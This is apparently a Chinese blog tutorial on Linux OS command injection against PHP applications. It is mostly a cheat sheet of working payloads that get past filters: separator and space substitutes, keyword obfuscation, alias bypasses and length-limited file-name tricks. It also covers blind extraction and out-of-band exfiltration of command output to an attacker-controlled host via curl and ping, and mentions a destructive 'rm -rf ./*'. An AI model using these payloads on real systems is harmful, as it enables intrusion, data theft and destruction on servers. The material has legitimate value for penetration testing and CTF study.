Linux OS 命令注入指北

当应用需要调用一些外部程序去处理的情况下,就会用到一些执行系统命令的函数,这些函数将字符串当做参数传递给 shell 来当做系统命令来执行,若用户可以控制参数,就有可能通过 OS 命令注入来执行任意命令。

以下 payload 均在 Ubuntu 的 bash 实际测试过

简介

命令注入是一种通过存在漏洞的应用程序向主机操作系统执行任意命令。当应用程序对用户提供的数据(表单,cookie,http 头)不进行检测传递给系统 shell,那么就有可能存在命令注入。在这种攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的特权执行。主要原因是输入验证不足导致命令注入攻击。

需要注意的是,OS 命令注入导致命令执行,和代码执行是不同的,代码执行的例子:<?php assert($_POST['a']);?>,当a=phpinfo()的时候就会执行phpinfo。任意代码执行会导致任意命令执行。

联动

编程语言一般都会提供内置的函数来执行系统命令,我称之为联动,例如 PHP 的 system()。不同语言与 shell 之间的联动大同小异,本文内容主要以 PHP 为例。

应对限制

命令分隔符

禁止使用命令分隔符。

常规的是命令分隔符 ;,但是还有很多可以代替它的:

  • ;:常规分隔符,不论;前面的命令执行成功与否都会执行后面的命令。
  • &&&& 左边的命令成功执行后,&& 右边的命令才能够被执行。
  • ||:如果 || 左边的命令执行失败了就执行 || 右边的命令。
  • && 放在启动参数后面表示设置此进程为后台进程,这里可以巧妙地作为命令分隔符:ls&whoami实际上相当于 ls &; whoami,即将ls放到后台运行,结束后再运行 whoami
  • |:管道符左边命令的输出作为管道符右边命令的输入。所以左边的输出并不显示。
  • %0a:url 编码的换行符
  • %0d:url 编码的回车符
  • %00:url 编码的 NULL,高版本(>=5.4.38)PHP 的 execsystempassthru 都会拦截,不仅仅是报个 warning,命令也是不执行的:
    1
    Warning: system(): NULL byte detected. Possible attack in /var/www/html/index.php on line 3

空格或者特殊字符

禁止使用空格。

能替换空格的也有很多:

  • <:输入重定向,后面需要接目录或者文件名,例如ls<./,所以不是所有的命令都可以使用它作为空格替代符,例如ping
    1
    2
    bash-3.2$ ping<baidu.com
    bash: baidu.com: No such file or directory
  • <>:打开一个文件作为输入与输出使用。所以它比<的限制更严格,后面必须是文件,连目录都不行:
    1
    2
    3
    4
    bash-3.2$ cat<>key
    Macr0phag3
    bash-3.2$ ls<>./
    bash: ./: Is a directory
  • %09:url 编码的制表符的。
  • %0a:url 编码的换行符。
  • ${IFS}$IFS:首先,IFS是一个系统变量,内置的分隔符,查看默认的IFS
    1
    2
    bash-3.2$ set |grep IFS
    IFS=$' \t\n'

    所以它可以用来替代空格。那么 ${IFS}$IFS有什么区别呢?其实是没有区别的,${}的作用仅仅是起到了精确界定变量名称的作用,比如$ab实际上有歧义,可以说是$ab,也可以说是$ab,Linux 默认按照最长的来解析,即$ab,如果我们就是想写$ab的话,需要这样${a}b。当然${}还有变量替换的作用,与这里无关就不细说了。
  • {cmd,arg}:这个方法实际上是巧妙地利用了花括号扩展传送门🚪。花括号扩展本来的作用是组合,例如:
    1
    2
    bash-3.2$ echo a{d,c}e
    ade ace

    也就是说,d、c 都是候选字符,输出的结果是候选的组合。我们可以看到,中间多了一个空格。所以就可以这样利用:
    1
    2
    3
    4
    5
    bash-3.2$ echo {ls,./}
    ls ./
    bash-3.2$ {ls,./}
    Applications Documents ...
    ...

    需要多个参数也是可以的,加多个,就行:{ls,./,./,./}
    不过需要注意,使用花括号扩展的时候,{}中不能有空格。

其他

个人感觉这两个有点鸡肋:

  • $PS2 == >
    1
    2
    # echo "<?php echo 'Macr0phag3'; ?$PS2"
    <?php echo 'Macr0phag3'; ?>

    一个非常长的命令可以通过在末尾加 \ 使其分行显示 ,而$PS2 是多行命令的默认提示符,默认值是 >
  • $PS4 == +。它是 set -x 用来修改跟踪输出的前缀(很少很少用到)

命令

黑名单、白名单过滤来禁止使用一些系统命令。

  • 单字符组合
    • a=l;b=s;$a$b == ls
    • a=c;b=at;c=Macr;d=0phag3;$a$b ${c}${d} == cat Macr0phag3
  • 利用已有的文字
    • echo $PATH |cut -c 1 可以获取到 /
  • 字符串变形
    • base64:
      1
      2
      [macr0phag3@127.0.0.1 ~]# `echo Y2F0Cg==| base64 -d` key
      Macr0phag3
    • $(printf "\167\150\157\141\155\151") # 8 进制,等价于 whoami,同理 16 进制也可以
  • 利用
    Bash 很多东西都是,例如''、不存在的变量等等,就可以利用他们来隔开命令:
    • 续行符\c\at key甚至是\c\a\t \k\e\y。实际上,\放在命令的开头是可以用来忽略 alias 的,详细的在下面有讨论。
    • l''sl''s == ls
    • "l""s"或者'l''s'或者'l'"s"或者l"s"...
    • l${anything}s:因为anything不存在,是空的,所以l${anything}s == ls,与l''s原理一样。
    • l$1sl$2s、...、l$9s:相比上面那个,这个方法不用{}也可以,因为这类数字名变量的名称界定比较特殊。至于它们是什么意思:
      1
      2
      $0: Shell 本身,所以这里有个技巧是 {printf,"\167\150\157\141\155\151"} | $0
      $1~$n: Shell 的各参数值。$1 是第 1 个参数、$2 是第 2 个参数,以此类推。
    • l$*sl$@s:它们都表示所有 Shell 参数的列表,不包括脚本本身(即 $1 - $n)。但是还是有区别的。举例:执行 test.sh 1 2 3时,"$*"表示"1 2 3",而"$@"表示"1" "2" "3"。二者没有被引号引起来时是一样的都为"1 2 3",只有当被引号引起来后才不一样。
    • l$!s$!代表 Shell 最后运行的后台 Process 的 PID。可以简单地理解为,例如一个命令放到后台运行:ping baidu.com & 后它的 PID。
    • c$()at key$()代表执行一个的命令,返回值也为空。当然这样也是可以的:l$(echo s)
    • l``s:这样当然也可以了。
  • 花括号扩展
    花括号扩展上面说过了,这里不赘述了:
    1
    2
    bash-3.2$ echo {c,c}at key
    cat cat key

    虽然cat报错了,但是不影响cat key执行。不过不是所有的命令都能这样使用:
    1
    2
    3
    4
    bash-3.2$ echo {w,w}hoami key
    whoami whoami key
    bash-3.2$ {w,w}hoami key
    usage: whoami

    只有形似cmd cmd ars也能执行后面的cmd arg的时候才能使用。
  • 利用 *
    直接运行 * 非常有意思
    1. 如果当前目录下没有任何文件/文件夹、或者是 "*"、或者是 '*',那么 * 都会被当做 星号 这个字符本身来使用:
      1
      2
      3
      bash-3.2$ rm ./*
      bash-3.2$ ls *
      ls: cannot access '*': No such file or directory
    2. 而如果下面是有文件/文件夹的话,* 就起到了通配符的作用:
      1
      2
      3
      bash-3.2$ touch test
      bash-3.2$ ls *
      test
    3. 那么就很显然了,执行单个 * 的时候,其实是将 ls 的第一个结果(按照文件名称从小到大来列出文件),当做命令,其他结果当做参数传递:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      bash-3.2$ rm ./*
      bash-3.2$ touch whoami
      bash-3.2$ touch ls
      bash-3.2$ * # 此时等价于 ls whoami
      whoami
      bash-3.2$ rm ./*
      bash-3.2$ touch rm
      bash-3.2$ touch zookeeper.sh
      bash-3.2$ * # 此时等价于 rm zookeeper.sh
    4. 那么所以需要注意的是,必须考虑命令的参数问题:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      # 无干扰,利用成功:
      bash-3.2$ touch zookeeper.sh
      bash-3.2$ touch dir
      bash-3.2$ *
      zookeeper.sh

      # 存在干扰,利用失败:
      bash-3.2$ touch zookeeper.sh
      bash-3.2$ touch whoami
      bash-3.2$ *
      whoami: extra operand ‘zookeeper.sh’
      Try 'whoami --help' for more information.

      这个我暂时也没什么好办法绕过参数的干扰。它实际上是相当于 'whoami' 'zookeeper.sh' 的,所以这种情况下,就算我们创建了一个叫 whoami && 的文件,* 也是没用的,因为不管是命令还是参数,都已经被 ' 包住了。如果确实存在干扰,那么可以考虑在利用之前,将目录完全清空:rm -rf ./*,比较凶残,尽量不要使用。
      如果目录是空的,那么我们就可以利用 * 了:
      1
      2
      3
      4
      5
      6
      7
      bash-3.2$ ls
      bash-3.2$ >ping
      bash-3.2$ >tr0y.wang
      bash-3.2$ *
      PING tr0y.wang (104.21.65.233): 56 data bytes
      64 bytes from 104.21.65.233: icmp_seq=0 ttl=52 time=179.297 ms
      64 bytes from 104.21.65.233: icmp_seq=1 ttl=52 time=178.529 ms

      最后,单个 * 与大于两个的 * 是一样的,至于为什么是大于两个,因为 ** 比较特殊,继续往下看。
  • 利用 **
    bash 的 **,可以用 shopt -s/-u globstar 修改其特性,off 的时候,** 等于 *on 的时候,则是递归通配符:
    1
    2
    3
    4
    5
    6
    [root@macr0phag3 test]# shopt -u globstar  # 关闭
    [root@macr0phag3 test]# echo **
    a b
    [root@macr0phag3 test]# shopt -s globstar # 开启
    [root@macr0phag3 test]# echo **
    a a/a1 a/a2 a/a3 b b/b1 b/b2 b/b3

    需要注意的是,这个功能是大于 bash4 的版本才有的。
    最后,上面提到,单个 * 与大于两个的 * 是一样的,证明如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    [root@macr0phag3 test]# shopt -s globstar
    [root@macr0phag3 test]# mkdir -p a/a1
    [root@macr0phag3 test]# echo *
    a ping
    [root@macr0phag3 test]# echo ** # 只有它特殊
    a a/a1 ping
    [root@macr0phag3 test]# echo ***
    a ping
    [root@macr0phag3 test]# echo ****
    a ping
    [root@macr0phag3 test]# echo *****
    a ping

    由于这个特性默认是 off 的,所以用的也比较少。
  • 利用其他 glob
    glob 是一种特殊的模式匹配,最常见的是通配符拓展。例如 ?[a-z][[:space:]] 等等。

覆盖指令

利用 alias 或者自定义函数来覆盖关键的系统命令,比如在 .zshrc 中设置:

1
2
3
4
5
alias ls="echo 'not allowed'"

cat(){
echo "not allowed"
}

上面提到过,开头的 \ 可以用于忽略 alias,即执行 ls 就是执行 echo "not allowed",但是执行 \ls 就是真的执行了 ls

对于自定义的函数来说,利用 command 开头即可忽略自定义的函数,如 command cat

完整示例

1
2
3
4
5
6
7
8
9
10
11
» ls
not allowed

» \ls
key

» cat key
not allowed

» command cat key
Macr0phag3

无回显

不是在所有的情况下都能直接拿到输出。

这里的 your_own_ip 是你自己搭建的外带数据接收服务器,懒得搭建的话,使用 nc 监听一下端口也行。实在想临时用用的话可以使用知道创宇的,传送门🚪

  • http 外带
    1
    curl your_own_ip.com/`whoami`

  • ICMP 外带
    1
    ping -c 1 `whoami`.your_own_ip.com

注意,命令执行的结果中,常常会有空格等等特殊字符,这个时候使用 base64 编码即可:
curl your_own_ip.com/$(whoami|base64),结果:

长度

在命令注入中往往会存在注入命令的长度过短的情况,无法将全部命令完全的输入进去,这种情况下就需要我们来想办法突破系统命令长度的限制。

思路是:

  1. 将命令拆开,通过创建文件,以文件名的形式放到目录下
  2. 执行 ls,将目录里的文件名存到一个文件中
  3. 利用 . filename 或者 sh filename运行这个文件,执行命令。

以执行whoami为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@macr0phag3 fortest]# ls
[root@macr0phag3 fortest]# >i\\
[root@macr0phag3 fortest]# >m\\
[root@macr0phag3 fortest]# >a\\
[root@macr0phag3 fortest]# >o\\
[root@macr0phag3 fortest]# >h\\
[root@macr0phag3 fortest]# >w\\
[root@macr0phag3 fortest]# ls -t
w\ h\ o\ a\ m\ i\
[root@macr0phag3 fortest]# ls -t>c
[root@macr0phag3 fortest]# . c
bash: c: 未找到命令
root

这波操作很秀,但是有些问题需要解释一下:
> 假如这个目录下本来就存在一些文件、目录,会对这个方法造成影响吗?

不会。原因是下面利用的是 ls -t来获取目录的文件/文件夹,-t代表按照时间排序,所以可以保证我们创建的文件是排在一起的,这样拼起来才是一个正确的命令。

创建文件为何要按照命令的倒序?

和第一个问题一样,倒序保证ls -t后正序

>w\\ 是什么意思?

这个的原型是 cmd > file,但是 cmd 是可省的,甚至随意一个命令都可以用于创建文件:

1
2
3
4
[root@macr0phag3 fortest]# anything > test
bash: anything: 未找到命令
[root@macr0phag3 fortest]# ls
test

可以看到,虽然报错了,但是 test 还是创建成功了。所以这样写的时候,文件会优先被创建。

那为什么需要加个 \\ 呢,因为其实是需要让文件名带有 \,而之所以要转义是 shell 的原因,如果从 PHP 传入,只需要 >i\即可。也就是这样利用的 payload 长度最长仅为 7

1
2
3
4
5
6
http://192.168.26.177/index.php?cmd=>u.com    # 长度 6
http://192.168.26.177/index.php?cmd=>baid\ # 长度 6
http://192.168.26.177/index.php?cmd=>' '\ # 长度 5
http://192.168.26.177/index.php?cmd=>ping\ # 长度 6
http://192.168.26.177/index.php?path=ls -t>c # 长度 7
http://192.168.26.177/index.php?path=sh c # 长度 4

. c是什么意思?结果为什么是这样?

Linux 中,.也叫period,它的作用和source一样,就是用当前的 shell 执行一个文件中的命令。比如,当前运行的 shell 是 bash,则 . filename的意思就是用 bash 执行 filename 文件中的命令。注意,. file执行文件,是不需要 file 有 x 权限的。所以,c 里面的内容就被当做代码执行了。但是需要注意,sh是没法这样运行的,如果 www-data的 shell 是 sh 的话,就只能使用sh filename运行。

bash: c: 未找到命令 是怎么来的呢?是在 ls -t>c的时候创建的。由结果我们也可以知道,这样执行,有报错是不影响下一个命令执行的。

其实还有更短 payload 下的命令执行,不过我觉得相当不实用,因为目录下一般都会有其他文件,ls 的结果默认按照字母顺序排列,payload 会被隔开或者有干扰。

所以也就 CTF 会用了:

类型

  • 常规注入
  • 盲注
    • 基于时间
    • 基于布尔
  • OOB

常规注入

利用命令分隔符来插入额外的命令。

例如:

1
2
3
4
<?php
$cmd = $_GET['path'];
echo system('ls $cmd');
?>

利用方式有很多。由于 bash 的命令分隔符为;,所以可以利用分号来执行多个语句:
payload:

1
path = "; whoami"

由于命令分隔符有很多种,所以 payload 也会有很多。

基于布尔盲注

只会返回命令执行成功/失败。

利用方式如下:

1
2
3
4
5
l$(whoami | cut -c 1 | tr a s)
l$(whoami | cut -c 1 | tr b s)
...
l$(whoami | cut -c 1 | tr r s)
# 命令执行成功,说明第一个字符为 r

原理就是利用cut提取结果的每一个字符,然后利用 tr 猜解,猜解的方式为将指定的字符替换成 s,如果与 cut 提取的字符一致,那么结果 tr 的结果就是ls,执行成功。否则 tr 的结果就不是 s,则最终执行的结果会出现报错:bash: la: 未找到命令

基于时间盲注

利用 sleep seconds 来获取结果。原理就是利用cut提取结果的每一个字符,然后利用 tr 猜解,猜解的方式为将指定的字符替换成数字,如果与 cut 提取的字符一致,那么结果 tr 的结果就是数字,sleep 就会产生时延,否则 tr 的结果是字符,sleep 不会有时延。

  1. 第一轮
    1
    2
    3
    sleep $(whoami | cut -c 1 | tr a 1)
    ...
    sleep $(whoami | cut -c 1 | tr r 1) # 延时 1s, 说明第一个字符是 r
  2. 第二轮
    1
    2
    3
    sleep $(whoami | cut -c 2 | tr a 1)
    ...
    sleep $(whoami | cut -c 2 | tr o 1) # 延时 1s, 说明第二个字符是 o

OOB

OOB 可以看做是在无回显的情况下的 OS 注入,利用无回显中的技术即可。


来呀快活呀


Linux OS 命令注入指北
https://www.tr0y.wang/2019/05/13/OS命令注入指北/
作者
Tr0y
发布于
2019年5月13日
更新于
2024年4月19日
许可协议